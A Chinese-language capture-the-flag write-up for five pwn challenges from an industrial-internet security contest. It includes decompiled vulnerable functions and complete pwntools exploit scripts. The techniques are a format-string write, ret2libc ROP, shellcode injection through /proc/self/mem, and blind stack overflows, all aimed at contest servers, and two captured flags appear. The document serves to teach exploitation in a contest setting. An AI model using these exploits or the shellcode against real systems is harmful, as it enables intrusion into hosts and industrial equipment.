赛博地球杯工业互联网安全大赛—pwn题完整writeup
本次比赛pwn的难度不大,脑洞很大,只要脑筋通了就很快能写出来了。
1. 实时数据监测:
说明:
小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据监测系统。小A意识到实时数据监测系统会采集并存储与工业流程相关的上千节点的数据,只要搞定这台机器,就能拿到有价值的数据。小A在尝试远程攻击利用实时数据监测系统的过程中,必须利用程序漏洞,使得反应催化剂浓度达到理想浓度才行。
利用:
这是个盲打题,格式化字符串漏洞,开始还以为要dump内存,后来看题目说改催化剂浓度为0x2223322即可。
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
p = remote('47.104.70.11', 30002)
print p.recv()
sleep(12)
addr=0x0804b14c
pay="%546c%18$hn%12544c%19$hn"+p32(addr+2)+p32(addr) #12+6
p.sendline(pay)
p.interactive()
2.HMI流水灯——stack:
说明:
小D在一套HMI人机接口的流水灯中,发现它的程序存在问题,需要我们去查找并利用这个漏洞。
利用:
一个流水灯的程序,在屏幕上输出如下字符,是用signal函数绑定了handler函数,每遇到SIGALRM信号就会调用handler函数,handler函数会输出流水灯,最后会调用有漏洞的gee()函数,含有溢出漏洞。时间会很短,只有2毫秒,由于没有提供libc,先泄露got表,用libc-database来找对应库。再构造ROP即可。
注意获得shell之后,直接cat flag可能看不到flag,时间太短,所以可以输入 cat flag && ls来得到flag。
int __cdecl main(int argc, const char argv, const char envp)
{
char s[4]; // sp+Fh@3
struct timeval v5; // sp+4Ch@13
struct timeval tv; // sp+54h@1
__suseconds_t v7; // sp+5Ch@13
unsigned int v8; // sp+60h@2
int k; // sp+64h@5
int j; // sp+68h@2
int i; // sp+6Ch@1
init();
puts("Welcome to horse race lamp program");
sleep(1u);
write(1, "Initialization the program\n", 0x1Bu);
gettimeofday(&tv, 0);
sleep(1u);
for ( i = 0; i <= 2; ++i )
{
v8 = 200;
for ( j = 0; j <= 59; ++j )
{
strcpy(s, "............................................................");
s[j] = '*';
puts(s);
sleep_ms(v8);
printf("\x1B[1A");
printf("\x1B[K");
}
for ( k = 58; k > 0; --k )
{
strcpy(s, "............................................................");
s[k] = '*';
puts(s);
sleep_ms(v8);
printf("\x1B[1A");
printf("\x1B[K");
if ( i == 2 && k == 2 )
{
signal(14, (__sighandler_t)handler);
alarm(2u);
}
}
}
gettimeofday(&v5, 0);
v7 = v5.tv_usec + 1000000 * (v5.tv_sec - tv.tv_sec) - tv.tv_usec;
return gee();
}
ssize_t gee()
{
char buf; // sp+0h@1
puts("*...........................................................");
return read(0, &buf, 0x100u);
}
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#p = process('./stack')
p = remote('47.104.188.176', 30004)
libc = ELF('libc.so.6')
read_got = 0x0804A00C
payload = '1'*0x8c + p32(0x080484F0) + p32(0x80488A8) + p32(read_got)
p.send(payload.ljust(0x100,'a'))
p.recvuntil("\xf7")
printf=u32(p.recv(4))
libc_addr=printf-libc.symbols['printf']
system_addr=libc_addr+libc.symbols['system']
binsh_addr=libc_addr+next(libc.search('/bin/sh'))
payload = '1'*0x8c + p32(system_addr) + p32(0x80488A8) + p32(binsh_addr)
p.send(payload)
p.interactive()
3.文件管理器—file
说明:
我们在渗透工控内网的过程中,发现了一个FTP服务器,搞定它,拿到服务器权限吧。
程序分析:
两个功能,read_file和write_file,能够读取和写用户指定的文件,一开始主办方配置错误,导致第一个队直接直接读取flag并修改了flag。后来把flag文件名修改了。只能利用漏洞了。
利用:
可以通过读取/proc/self/maps来泄露自身加载地址和libc地址,再通过写/proc/self/mem来把shellcode直接写入内存,获得shell。
知识点:
读/proc/self/maps泄露加载地址,写/proc/self/mem就是写内存,绕过不可写防护。
int read_file()
{
int result; // eax@8
int nbytes; // sp+8h@3
int fd; // sp+Ch@1
unsigned __int32 offset; // sp+10h@3
char file; // sp+1Ch@1
char s; // sp+5Ch@7
int v6; // sp+17Ch@1
v6 = *MK_FP(GS, 20);
printf(“模块名称:”);
read_buff((int)&file, 64, 10);
fd = open(&file, 0);
if ( fd == -1 )
{
puts("璇诲彇妯″潡澶辫触");
}
else
{
printf(“查找模块偏移量:”);
offset = read_ul();
printf("%lld\n", offset, 0);
printf("%llx\n", offset, 0);
for ( nbytes = -1; nbytes < 0 || nbytes > 256; nbytes = read_int() )
printf(“模块读取大小:”);
lseek(fd, offset, 0);
memset(&s, 0, 0x120u);
printf(“模块内容”);
read(fd, &s, nbytes);
puts(&s);
close(fd);
}
result = *MK_FP(GS, 20) ^ v6;
if ( *MK_FP(GS, 20) != v6 )
_stack_chk_fail_local();
return result;
}
int write_file()
{
int result; // eax@11
int offset; // sp+0h@3
int n; // sp+4h@6
int fd; // sp+8h@1
char file; // sp+Ch@1
char s; // sp+4Ch@10
int v6; // sp+14Ch@1
v6 = *MK_FP(GS, 20);
printf(“模块名称:”);
read_buff((int)&file, 64, 10);
fd = open(&file, 65, 438);
if ( fd == -1 )
{
puts("璇诲彇妯″潡澶辫触");
}
else
{
for ( offset = -1; offset < 0; offset = read_int() )
printf(“写入模块偏移量:”);
lseek(fd, offset, 0);
for ( n = -1; n < 0 || n > 256; n = read_int() )
printf(“模块写入大小”);
memset(&s, 0, 0x100u);
printf(“写入模块:”);
read_buff((int)&s, n, 10);
write(fd, &s, n);
close(fd);
}
result = *MK_FP(GS, 20) ^ v6;
if ( *MK_FP(GS, 20) != v6 )
_stack_chk_fail_local();
return result;
}
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x40\x2c\x35\xcd\x80"
p = remote('47.104.188.138', 30007)
p.recvuntil('请登录FTP:')
p.sendline('11')
p.recvuntil('3. 退出')
p.sendline('1')
p.recvuntil('模块名称:')
p.sendline('/proc/self/maps')
p.recvuntil('偏移量:')
p.sendline('0')
p.recvuntil('大小:')
p.sendline('200')
print p.recvuntil('fileManager')
addr=int(raw_input("base:"),16)
patch_addr=addr+0x110a
p.recvuntil('3. 退出')
p.sendline('2')
p.recvuntil('模块名称:')
p.sendline('/proc/self/mem')
p.recvuntil('偏移量:')
p.sendline(str(patch_addr))
p.recvuntil('大小:')
p.sendline('40')
p.recvuntil('模块:')
p.sendline(shellcode)
p.interactive()
#flag{sf89g890dfn8sbns8g8bb0v8f0k09g8g8hjf}
4.反应釜开关控制
说明:
小M在里一个私人矿厂中发现了一条TNT生产线中硝化反应釜的接口,反应釜是一种反应设备,非常的不稳定,会因为很多原因造成损坏,导致生产被迫停止。她怀疑这个工厂可能进行地下军火的制作,所以小M打算通过把反应釜关闭掉来干扰这条TNT生产线的运行,但是反应釜有多个闸门,得想办法帮她把闸门都关掉才行。
利用:
盲打题,需要关闭3个阀门,试了很久都不知道漏洞,主要是即便触发了漏洞也没有返回值,所以并不知道是否触发了漏洞。后来想,可能是栈溢出,知道三个阀门地址,我直接用n*(p64(0x400f7d)+ p64(0x400e98)+p64(0x401012))来交互即可,果然触发了漏洞。得到了shell。
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
DEBUG = 0
data=p64(0x400f7d)+p64(0x400e98)+p64(0x401012)
p=remote('47.104.19.0', 30001)
print p.recv()
p.send(data*30)
raw_input()
print p.recv()
#p.send(data*1000)
p.interactive()
#flag{asdfghfrhdfsfg12343fv3453v4v5f}
5.黑客游戏—play
说明:
小K对一组PLC集群中进行监听,她偶然中发现其中一台上位机的一个端口绑定了一个游戏程序,而这台上位机的其他端口都无任何响应,所以她现在想办法从这个游戏程序中找到进入这台上位机的方法。
程序分析:
就是一个hero打monster的游戏,总共4个选项:1. hacking;2. change host;3. change methods;4. exit。
选项1:互相攻击,hero死了就直接exit,monster死了并且monster达到3级(初始为0),就能进入vul_func()函数,触发栈溢出漏洞;没有达到3级,则monster升级1次
选项2:恢复血力。
选项3:改变技能。
利用:
可以看到,目标就是3次打败monster,使它升到3级,然后触发vul_func()函数。但是恢复血力时,相应的monster也会恢复血力,恢复的值还比hero的血还高一些,所以无解。
后来发现,忽略了1个事实,存储hero的结构是用mmap申请的空间,可以通过输入已有的用户名,从文件中来,这是线程共享的,而存monster结构的空间是用malloc申请的。所以可以开两个链接过去,1个负责打怪,1个负责加血,甚至开2个以上负责加血。这样就能使得升级到3级。之后触发漏洞就是栈溢出了。
知识点:
mmap导致的文件同步。
int vul_func()
{
char s; // sp+0h@1
printf("what's your name:");
gets(&s);
return printf("ok! %s ,welcome\n", &s);
}
exp——打怪:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
DEBUG = 0
if DEBUG:
p = process('./play')
#p = process(['./play'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')})
#context.log_level = 'debug'
#libc = ELF('libc.so.6')#libc.so.6 #/lib/x86_64-linux-gnu/libc-2.24.so
else:
p = remote('47.104.90.157', 30003)
#libc = ELF('libc.so.6')
libc = ELF('libc.so')
p.recvuntil('login:')
p.sendline('bsauce')
def hacking():
p.recvuntil('>> ')
p.send('1\n')
p.recvuntil('(1:yes/0:no):')
p.send('1\n')
def change_host():
p.recvuntil('choice>> ')
p.send('2\n')
def change_methods():
p.recvuntil('choice>> ')
p.send('3\n')
p.recvuntil('choice>> ')
p.send('1\n')
change_methods()
i=0
j=0
while 1:
hacking()
data=p.recvuntil('\n')
#print data
if "win" in data:
i+=1
print data
if i>=3:
time.sleep(1)
if i==4:
break
#raw_input()
#if()
#gdb.attach(p,"b *0x8048F02")
#p.recvuntil('ame:')
data='a'*0x48+'a'*4+p32(0x8048670)+p32(0x8048EC7)+p32(0x804B01C)
p.sendline(data)
print p.recvuntil('welcome\n')
zz=p.recvuntil('\xf7')
print len(zz),hex(u32(zz[0:4]))
print zz
chdir_addr=u32(zz[-4:])
print hex(chdir_addr)
libc_base=chdir_addr-libc.symbols['chdir']
system_addr=libc_base+libc.symbols['system']
bin_sh_addr=libc_base+next(libc.search('/bin/sh'))
payload = 'a'*(0x48+4) + p32(system_addr) + p32(0x80488A8) + p32(bin_sh_addr)
p.recvuntil("name")
p.sendline(payload)
p.interactive()
exp——加血:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
DEBUG = 0
if DEBUG:
p = process('./play')
#p = process(['./play'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')})
#context.log_level = 'debug'
#libc = ELF('libc.so.6')#libc.so.6 #/lib/x86_64-linux-gnu/libc-2.24.so
else:
p = remote('47.104.90.157', 30003)
#libc = ELF('libc.so.6')
p.recvuntil('login:')
p.sendline('bsauce')
def hacking():
p.recvuntil('choice>> ')
p.send('1\n')
p.recvuntil('(1:yes/0:no):')
p.send('1\n')
def change_host():
p.recvuntil('choice>> ')
p.send('2\n')
def change_methods():
p.recvuntil('choice>> ')
p.send('3\n')
p.recvuntil('choice>> ')
p.send('1\n')
while 1:
change_host()
最后附上本次比赛题目,见附件。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌
握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法